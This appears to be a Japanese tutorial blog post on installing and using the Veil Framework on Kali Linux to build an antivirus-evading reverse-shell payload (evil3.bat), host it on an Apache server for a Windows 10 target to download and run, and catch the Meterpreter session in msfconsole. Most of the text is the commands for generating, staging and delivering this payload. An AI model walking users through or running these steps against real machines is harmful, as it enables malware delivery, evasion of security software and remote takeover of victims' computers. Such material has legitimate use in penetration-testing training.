Veil Framework

Veil Framework

Meterpreter セッションの確立には
ターゲット端末で実行ファイルを実行させ
アンチウイルスの検知の回避が必要

Veil Framework は
アンチウイルス回避ペイロードを生成するツール

KaliLinux にインストールするには

1
apt install veil-evasion
1
veil

で起動すると
セットアップスクリプトが実行され

1
2
3
[?] Are you sure you wish to install Veil?
 
    Continue with installation? ([y]es/[s]ilent/[N]o):

となり
インストールモードを選ぶので
s を入力し Enter

インストールが終わって
veil >
と表示されたら

1
exit

で一度終了しておく

再度

1
veil

で起動し
Veil を最新化するために

1
update

でVeil を最新化する

現在使えるツールは
Evasion
Ordnance
の2つ

アンチウイルスを回避するツールを使うなら
Evasion なので

1
use 1

ペイロードリストをみたいのなら

1
list

を実行するとみれる

今回はこの中から22のものを使うので

1
use 22

を実行

どのようなツールかは
Description の項目にかかれている

これはリバースシェルなので
KaliLinux のIPをセット

1
set lhost 192.168.1.134

次にペイロードの作成

1
generate

を実行

するとファイル名を指定できるので
evil3
としておく

1
Hit enter to continue...

となったら Enter

これで作成はできたので

1
exit

で一度終了

ここで作成できたファイルは
一度デスクトップへコピーしておく

1
cp /var/lib/veil/output/source/evil3.bat /root/Desktop/
1
2
cp /root/Desktop/evil3.bat /var/www/html/share/
service apache2 restart

でダウンロードできるようにしておく

次にリバースシェルの待受設定

1
msfconsole

で Metasploit を起動

これで Windows10 でブラウザから
evil3 をダウンロードし
実行すると
コマンドプロンプトが立ち上がり
セッションが確立される

ただしリアルタイム保護が有効化されていると
ダウンロードもできないし
実行時に検知されセッションは確立できない